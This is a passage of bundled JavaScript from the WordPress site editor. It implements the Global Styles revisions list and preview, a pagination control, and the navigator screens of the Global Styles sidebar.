    ...originalSettings,
    isPreviewMode: true
  }), [originalSettings]);
  const [globalStyles] = revisions_useGlobalStylesOutputWithConfig(mergedConfig);
  const editorStyles = !revisions_isObjectEmpty(globalStyles) && !revisions_isObjectEmpty(userConfig) ? globalStyles : settings.styles;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_canvas_container, {
    title: (0,external_wp_i18n_namespaceObject.__)('Revisions'),
    closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)('Close revisions'),
    enableResizing: true,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.__unstableIframe, {
      className: "edit-site-revisions__iframe",
      name: "revisions",
      tabIndex: 0,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("style", {
        children:
        // Forming a "block formatting context" to prevent margin collapsing.
        // @see https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
        `.is-root-container { display: flow-root; }`
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, {
        className: "edit-site-revisions__example-preview__content",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(revisions_ExperimentalBlockEditorProvider, {
          value: renderedBlocksArray,
          settings: settings,
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, {
            renderAppender: false
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, {
            styles: editorStyles
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(__unstableBlockStyleVariationOverridesWithConfig, {
            config: mergedConfig
          })]
        })
      })]
    })
  });
}
/* harmony default export */ const components_revisions = (Revisions);

;// external ["wp","date"]
const external_wp_date_namespaceObject = window["wp"]["date"];
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-revisions/revisions-buttons.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


const DAY_IN_MILLISECONDS = 60 * 60 * 1000 * 24;
const {
  getGlobalStylesChanges
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ChangesSummary({
  revision,
  previousRevision
}) {
  const changes = getGlobalStylesChanges(revision, previousRevision, {
    maxResults: 7
  });
  if (!changes.length) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
    "data-testid": "global-styles-revision-changes",
    className: "edit-site-global-styles-screen-revisions__changes",
    children: changes.map(change => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
      children: change
    }, change))
  });
}

/**
 * Returns a button label for the revision.
 *
 * @param {string|number} id                    A revision object.
 * @param {string}        authorDisplayName     Author name.
 * @param {string}        formattedModifiedDate Revision modified date formatted.
 * @param {boolean}       areStylesEqual        Whether the revision matches the current editor styles.
 * @return {string} Translated label.
 */
function getRevisionLabel(id, authorDisplayName, formattedModifiedDate, areStylesEqual) {
  if ('parent' === id) {
    return (0,external_wp_i18n_namespaceObject.__)('Reset the styles to the theme defaults');
  }
  if ('unsaved' === id) {
    return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: author display name */
    (0,external_wp_i18n_namespaceObject.__)('Unsaved changes by %s'), authorDisplayName);
  }
  return areStylesEqual ? (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: 1: author display name. 2: revision creation date.
  (0,external_wp_i18n_namespaceObject.__)('Changes saved by %1$s on %2$s. This revision matches current editor styles.'), authorDisplayName, formattedModifiedDate) : (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: 1: author display name. 2: revision creation date.
  (0,external_wp_i18n_namespaceObject.__)('Changes saved by %1$s on %2$s'), authorDisplayName, formattedModifiedDate);
}

/**
 * Returns a rendered list of revisions buttons.
 *
 * @typedef {Object} props
 * @property {Array<Object>} userRevisions      A collection of user revisions.
 * @property {number}        selectedRevisionId The id of the currently-selected revision.
 * @property {Function}      onChange           Callback fired when a revision is selected.
 *
 * @param    {props}         Component          props.
 * @return {JSX.Element} The modal component.
 */
function RevisionsButtons({
  userRevisions,
  selectedRevisionId,
  onChange,
  canApplyRevision,
  onApplyRevision
}) {
  const {
    currentThemeName,
    currentUser
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentTheme,
      getCurrentUser
    } = select(external_wp_coreData_namespaceObject.store);
    const currentTheme = getCurrentTheme();
    return {
      currentThemeName: currentTheme?.name?.rendered || currentTheme?.stylesheet,
      currentUser: getCurrentUser()
    };
  }, []);
  const dateNowInMs = (0,external_wp_date_namespaceObject.getDate)().getTime();
  const {
    datetimeAbbreviated
  } = (0,external_wp_date_namespaceObject.getSettings)().formats;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, {
    orientation: "vertical",
    className: "edit-site-global-styles-screen-revisions__revisions-list",
    "aria-label": (0,external_wp_i18n_namespaceObject.__)('Global styles revisions list'),
    role: "listbox",
    children: userRevisions.map((revision, index) => {
      const {
        id,
        author,
        modified
      } = revision;
      const isUnsaved = 'unsaved' === id;
      // Unsaved changes are created by the current user.
      const revisionAuthor = isUnsaved ? currentUser : author;
      const authorDisplayName = revisionAuthor?.name || (0,external_wp_i18n_namespaceObject.__)('User');
      const authorAvatar = revisionAuthor?.avatar_urls?.['48'];
      const isFirstItem = index === 0;
      const isSelected = selectedRevisionId ? selectedRevisionId === id : isFirstItem;
      const areStylesEqual = !canApplyRevision && isSelected;
      const isReset = 'parent' === id;
      const modifiedDate = (0,external_wp_date_namespaceObject.getDate)(modified);
      const displayDate = modified && dateNowInMs - modifiedDate.getTime() > DAY_IN_MILLISECONDS ? (0,external_wp_date_namespaceObject.dateI18n)(datetimeAbbreviated, modifiedDate) : (0,external_wp_date_namespaceObject.humanTimeDiff)(modified);
      const revisionLabel = getRevisionLabel(id, authorDisplayName, (0,external_wp_date_namespaceObject.dateI18n)(datetimeAbbreviated, modifiedDate), areStylesEqual);
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Item, {
        className: "edit-site-global-styles-screen-revisions__revision-item",
        "aria-current": isSelected,
        role: "option",
        onKeyDown: event => {
          const {
            keyCode
          } = event;
          if (keyCode === external_wp_keycodes_namespaceObject.ENTER || keyCode === external_wp_keycodes_namespaceObject.SPACE) {
            onChange(revision);
          }
        },
        onClick: event => {
          event.preventDefault();
          onChange(revision);
        },
        "aria-selected": isSelected,
        "aria-label": revisionLabel,
        render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "edit-site-global-styles-screen-revisions__revision-item-wrapper",
          children: isReset ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
            className: "edit-site-global-styles-screen-revisions__description",
            children: [(0,external_wp_i18n_namespaceObject.__)('Default styles'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
              className: "edit-site-global-styles-screen-revisions__meta",
              children: currentThemeName
            })]
          }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
            className: "edit-site-global-styles-screen-revisions__description",
            children: [isUnsaved ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
              className: "edit-site-global-styles-screen-revisions__date",
              children: (0,external_wp_i18n_namespaceObject.__)('(Unsaved)')
            }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {
              className: "edit-site-global-styles-screen-revisions__date",
              dateTime: modified,
              children: displayDate
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
              className: "edit-site-global-styles-screen-revisions__meta",
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
                alt: authorDisplayName,
                src: authorAvatar
              }), authorDisplayName]
            }), isSelected && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ChangesSummary, {
              revision: revision,
              previousRevision: index < userRevisions.length ? userRevisions[index + 1] : {}
            })]
          })
        }), isSelected && (areStylesEqual ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-site-global-styles-screen-revisions__applied-text",
          children: (0,external_wp_i18n_namespaceObject.__)('These styles are already applied to your site.')
        }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          size: "compact",
          variant: "primary",
          className: "edit-site-global-styles-screen-revisions__apply-button",
          onClick: onApplyRevision,
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('Apply the selected revision to your site.'),
          children: isReset ? (0,external_wp_i18n_namespaceObject.__)('Reset to defaults') : (0,external_wp_i18n_namespaceObject.__)('Apply')
        }))]
      }, id);
    })
  });
}
/* harmony default export */ const revisions_buttons = (RevisionsButtons);

;// ./node_modules/@wordpress/edit-site/build-module/components/pagination/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */




function Pagination({
  currentPage,
  numPages,
  changePage,
  totalItems,
  className,
  disabled = false,
  buttonVariant = 'tertiary',
  label = (0,external_wp_i18n_namespaceObject.__)('Pagination')
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    expanded: false,
    as: "nav",
    "aria-label": label,
    spacing: 3,
    justify: "flex-start",
    className: dist_clsx('edit-site-pagination', className),
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      variant: "muted",
      className: "edit-site-pagination__total",
      children:
      // translators: %s: Total number of patterns.
      (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Total number of patterns.
      (0,external_wp_i18n_namespaceObject._n)('%s item', '%s items', totalItems), totalItems)
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      expanded: false,
      spacing: 1,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        variant: buttonVariant,
        onClick: () => changePage(1),
        accessibleWhenDisabled: true,
        disabled: disabled || currentPage === 1,
        label: (0,external_wp_i18n_namespaceObject.__)('First page'),
        icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_next : library_previous,
        size: "compact"
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        variant: buttonVariant,
        onClick: () => changePage(currentPage - 1),
        accessibleWhenDisabled: true,
        disabled: disabled || currentPage === 1,
        label: (0,external_wp_i18n_namespaceObject.__)('Previous page'),
        icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left,
        size: "compact"
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      variant: "muted",
      children: (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: 1: Current page number. 2: Total number of pages.
      (0,external_wp_i18n_namespaceObject._x)('%1$s of %2$s', 'paging'), currentPage, numPages)
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      expanded: false,
      spacing: 1,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        variant: buttonVariant,
        onClick: () => changePage(currentPage + 1),
        accessibleWhenDisabled: true,
        disabled: disabled || currentPage === numPages,
        label: (0,external_wp_i18n_namespaceObject.__)('Next page'),
        icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right,
        size: "compact"
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        variant: buttonVariant,
        onClick: () => changePage(numPages),
        accessibleWhenDisabled: true,
        disabled: disabled || currentPage === numPages,
        label: (0,external_wp_i18n_namespaceObject.__)('Last page'),
        icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_previous : library_next,
        size: "compact"
      })]
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-revisions/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */









const {
  GlobalStylesContext: screen_revisions_GlobalStylesContext,
  areGlobalStyleConfigsEqual: screen_revisions_areGlobalStyleConfigsEqual
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const PAGE_SIZE = 10;
function ScreenRevisions() {
  const {
    user: currentEditorGlobalStyles,
    setUserConfig
  } = (0,external_wp_element_namespaceObject.useContext)(screen_revisions_GlobalStylesContext);
  const {
    blocks,
    editorCanvasContainerView
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    editorCanvasContainerView: unlock(select(store)).getEditorCanvasContainerView(),
    blocks: select(external_wp_blockEditor_namespaceObject.store).getBlocks()
  }), []);
  const [currentPage, setCurrentPage] = (0,external_wp_element_namespaceObject.useState)(1);
  const [currentRevisions, setCurrentRevisions] = (0,external_wp_element_namespaceObject.useState)([]);
  const {
    revisions,
    isLoading,
    hasUnsavedChanges,
    revisionsCount
  } = useGlobalStylesRevisions({
    query: {
      per_page: PAGE_SIZE,
      page: currentPage
    }
  });
  const numPages = Math.ceil(revisionsCount / PAGE_SIZE);
  const [currentlySelectedRevision, setCurrentlySelectedRevision] = (0,external_wp_element_namespaceObject.useState)(currentEditorGlobalStyles);
  const [isLoadingRevisionWithUnsavedChanges, setIsLoadingRevisionWithUnsavedChanges] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    setEditorCanvasContainerView
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  const selectedRevisionMatchesEditorStyles = screen_revisions_areGlobalStyleConfigsEqual(currentlySelectedRevision, currentEditorGlobalStyles);

  // The actual code that triggers the revisions screen to navigate back
  // to the home screen in in `packages/edit-site/src/components/global-styles/ui.js`.
  const onCloseRevisions = () => {
    const canvasContainerView = editorCanvasContainerView === 'global-styles-revisions:style-book' ? 'style-book' : undefined;
    setEditorCanvasContainerView(canvasContainerView);
  };
  const restoreRevision = revision => {
    setUserConfig(() => revision);
    setIsLoadingRevisionWithUnsavedChanges(false);
    onCloseRevisions();
  };
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!isLoading && revisions.length) {
      setCurrentRevisions(revisions);
    }
  }, [revisions, isLoading]);
  const firstRevision = revisions[0];
  const currentlySelectedRevisionId = currentlySelectedRevision?.id;
  const shouldSelectFirstItem = !!firstRevision?.id && !selectedRevisionMatchesEditorStyles && !currentlySelectedRevisionId;
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    /*
     * Ensure that the first item is selected and loaded into the preview pane
     * when no revision is selected and the selected styles don't match the current editor styles.
     * This is required in case editor styles are changed outside the revisions panel,
     * e.g., via the reset styles function of useGlobalStylesReset().
     * See: https://github.com/WordPress/gutenberg/issues/55866
     */
    if (shouldSelectFirstItem) {
      setCurrentlySelectedRevision(firstRevision);
    }
  }, [shouldSelectFirstItem, firstRevision]);

  // Only display load button if there is a revision to load,
  // and it is different from the current editor styles.
  const isLoadButtonEnabled = !!currentlySelectedRevisionId && currentlySelectedRevisionId !== 'unsaved' && !selectedRevisionMatchesEditorStyles;
  const hasRevisions = !!currentRevisions.length;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: revisionsCount &&
      // translators: %s: number of revisions.
      (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('Revisions (%s)'), revisionsCount),
      description: (0,external_wp_i18n_namespaceObject.__)('Click on previously saved styles to preview them. To restore a selected version to the editor, hit "Apply." When you\'re ready, use the Save button to save your changes.'),
      onBack: onCloseRevisions
    }), !hasRevisions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {
      className: "edit-site-global-styles-screen-revisions__loading"
    }), hasRevisions && (editorCanvasContainerView === 'global-styles-revisions:style-book' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book, {
      userConfig: currentlySelectedRevision,
      isSelected: () => {},
      onClose: () => {
        setEditorCanvasContainerView('global-styles-revisions');
      }
    }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(components_revisions, {
      blocks: blocks,
      userConfig: currentlySelectedRevision,
      closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)('Close revisions')
    })), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(revisions_buttons, {
      onChange: setCurrentlySelectedRevision,
      selectedRevisionId: currentlySelectedRevisionId,
      userRevisions: currentRevisions,
      canApplyRevision: isLoadButtonEnabled,
      onApplyRevision: () => hasUnsavedChanges ? setIsLoadingRevisionWithUnsavedChanges(true) : restoreRevision(currentlySelectedRevision)
    }), numPages > 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-global-styles-screen-revisions__footer",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Pagination, {
        className: "edit-site-global-styles-screen-revisions__pagination",
        currentPage: currentPage,
        numPages: numPages,
        changePage: setCurrentPage,
        totalItems: revisionsCount,
        disabled: isLoading,
        label: (0,external_wp_i18n_namespaceObject.__)('Global Styles pagination')
      })
    }), isLoadingRevisionWithUnsavedChanges && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
      isOpen: isLoadingRevisionWithUnsavedChanges,
      confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Apply'),
      onConfirm: () => restoreRevision(currentlySelectedRevision),
      onCancel: () => setIsLoadingRevisionWithUnsavedChanges(false),
      size: "medium",
      children: (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to apply this revision? Any unsaved changes will be lost.')
    })]
  });
}
/* harmony default export */ const screen_revisions = (ScreenRevisions);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/ui.js
/**
 * WordPress dependencies
 */











/**
 * Internal dependencies
 */




















const SLOT_FILL_NAME = 'GlobalStylesMenu';
const {
  useGlobalStylesReset: ui_useGlobalStylesReset
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  Slot: GlobalStylesMenuSlot,
  Fill: GlobalStylesMenuFill
} = (0,external_wp_components_namespaceObject.createSlotFill)(SLOT_FILL_NAME);
function GlobalStylesActionMenu() {
  const [canReset, onReset] = ui_useGlobalStylesReset();
  const {
    toggle
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const {
    canEditCSS
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      __experimentalGetCurrentGlobalStylesId
    } = select(external_wp_coreData_namespaceObject.store);
    const globalStylesId = __experimentalGetCurrentGlobalStylesId();
    const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
    return {
      canEditCSS: !!globalStyles?._links?.['wp:action-edit-css']
    };
  }, []);
  const {
    setEditorCanvasContainerView
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  const loadCustomCSS = () => {
    setEditorCanvasContainerView('global-styles-css');
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesMenuFill, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
      icon: more_vertical,
      label: (0,external_wp_i18n_namespaceObject.__)('More'),
      toggleProps: {
        size: 'compact'
      },
      children: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
          children: [canEditCSS && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: loadCustomCSS,
            children: (0,external_wp_i18n_namespaceObject.__)('Additional CSS')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: () => {
              toggle('core/edit-site', 'welcomeGuideStyles');
              onClose();
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Welcome Guide')
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: () => {
              onReset();
              onClose();
            },
            disabled: !canReset,
            children: (0,external_wp_i18n_namespaceObject.__)('Reset styles')
          })
        })]
      })
    })
  });
}
function GlobalStylesNavigationScreen({
  className,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.Screen, {
    className: ['edit-site-global-styles-sidebar__navigator-screen', className].filter(Boolean).join(' '),
    ...props
  });
}
function BlockStylesNavigationScreens({
  parentMenu,
  blockStyles,
  blockName
}) {
  return blockStyles.map((style, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
    path: parentMenu + '/variations/' + style.name,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_block, {
      name: blockName,
      variation: style.name
    })
  }, index));
}
function ContextScreens({
  name,
  parentMenu = ''
}) {
  const blockStyleVariations = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlockStyles
    } = select(external_wp_blocks_namespaceObject.store);
    return getBlockStyles(name);
  }, [name]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: parentMenu + '/colors/palette',
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette, {
        name: name
      })
    }), !!blockStyleVariations?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockStylesNavigationScreens, {
      parentMenu: parentMenu,
      blockStyles: blockStyleVariations,
      blockName: name
    })]
  });
}
function GlobalStylesStyleBook() {
  const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
  const {
    path
  } = navigator.location;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book, {
    isSelected: blockName =>
    // Match '/blocks/core%2Fbutton' and
    // '/blocks/core%2Fbutton/typography', but not
    // '/blocks/core%2Fbuttons'.
    path === `/blocks/${encodeURIComponent(blockName)}` || path.startsWith(`/blocks/${encodeURIComponent(blockName)}/`),
    onSelect: blockName => {
      if (STYLE_BOOK_COLOR_GROUPS.find(group => group.slug === blockName)) {
        // Go to color palettes Global Styles.
        navigator.goTo('/colors/palette');
        return;
      }
      if (blockName === 'typography') {
        // Go to typography Global Styles.
        navigator.goTo('/typography');
        return;
      }

      // Now go to the selected block.
      navigator.goTo('/blocks/' + encodeURIComponent(blockName));
    }
  });
}
function GlobalStylesBlockLink() {
  const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
  const {
    selectedBlockName,
    selectedBlockClientId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSelectedBlockClientId,
      getBlockName
    } = select(external_wp_blockEditor_namespaceObject.store);
    const clientId = getSelectedBlockClientId();
    return {
      selectedBlockName: getBlockName(clientId),
      selectedBlockClientId: clientId
    };
  }, []);
  const blockHasGlobalStyles = useBlockHasGlobalStyles(selectedBlockName);
  // When we're in the `Blocks` screen enable deep linking to the selected block.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!selectedBlockClientId || !blockHasGlobalStyles) {
      return;
    }
    const currentPath = navigator.location.path;
    if (currentPath !== '/blocks' && !currentPath.startsWith('/blocks/')) {
      return;
    }
    const newPath = '/blocks/' + encodeURIComponent(selectedBlockName);
    // Avoid navigating to the same path. This can happen when selecting
    // a new block of the same type.
    if (newPath !== currentPath) {
      navigator.goTo(newPath, {
        skipFocus: true
      });
    }
  }, [selectedBlockClientId, selectedBlockName, blockHasGlobalStyles]);
}
function GlobalStylesEditorCanvasContainerLink() {
  const {
    goTo,
    location
  } = (0,external_wp_components_namespaceObject.useNavigator)();
  const editorCanvasContainerView = (0,external_wp_data_namespaceObject.useSelect)(select => unlock(select(store)).getEditorCanvasContainerView(), []);
  const path = location?.path;
  const isRevisionsOpen = path === '/revisions';

  // If the user switches the editor canvas container view, redirect
  // to the appropriate screen. This effectively allows deep linking to the
  // desired screens from outside the global styles navigation provider.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    switch (editorCanvasContainerView) {
      case 'global-styles-revisions':
      case 'global-styles-revisions:style-book':
        if (!isRevisionsOpen) {
          goTo('/revisions');
        }
        break;
      case 'global-styles-css':
        goTo('/css');
        break;
      // The stand-alone style book is open
      // and the revisions panel is open,
      // close the revisions panel.
      // Otherwise keep the style book open while
      // browsing global styles panel.
      //
      // Falling through as it matches the default scenario.
      case 'style-book':
      default:
        // In general, if the revision screen is in view but the
        // `editorCanvasContainerView` is not a revision view, close it.
        // This also includes the scenario when the stand-alone style
        // book is open, in which case we want the user to close the
        // revisions screen and browse global styles.
        if (isRevisionsOpen) {
          goTo('/', {
            isBack: true
          });
        }
        break;
    }
  }, [editorCanvasContainerView, isRevisionsOpen, goTo]);
}
function useNavigatorSync(parentPath, onPathChange) {
  const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
  const {
    path: childPath
  } = navigator.location;
  const previousParentPath = (0,external_wp_compose_namespaceObject.usePrevious)(parentPath);
  const previousChildPath = (0,external_wp_compose_namespaceObject.usePrevious)(childPath);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (parentPath !== childPath) {
      if (parentPath !== previousParentPath) {
        navigator.goTo(parentPath);
      } else if (childPath !== previousChildPath) {
        onPathChange(childPath);
      }
    }
  }, [onPathChange, parentPath, previousChildPath, previousParentPath, childPath, navigator]);
}

// This component is used to wrap the hook in order to conditionally execute it
// when the parent component is used on controlled mode.
function NavigationSync({
  path: parentPath,
  onPathChange,
  children
}) {
  useNavigatorSync(parentPath, onPathChange);
  return children;
}
function GlobalStylesUI({
  path,
  onPathChange
}) {
  const blocks = (0,external_wp_blocks_namespaceObject.getBlockTypes)();
  const editorCanvasContainerView = (0,external_wp_data_namespaceObject.useSelect)(select => unlock(select(store)).getEditorCanvasContainerView(), []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator, {
    className: "edit-site-global-styles-sidebar__navigator-provider",
    initialPath: "/",
    children: [path && onPathChange && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationSync, {
      path: path,
      onPathChange: onPathChange
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_root, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/variations",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_style_variations, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/blocks",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_block_list, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/typography",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/typography/font-sizes",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/typography/font-sizes/:origin/:slug",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_size, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/typography/text",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
        element: "text"
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/typography/link",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
        element: "link"
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/typography/heading",
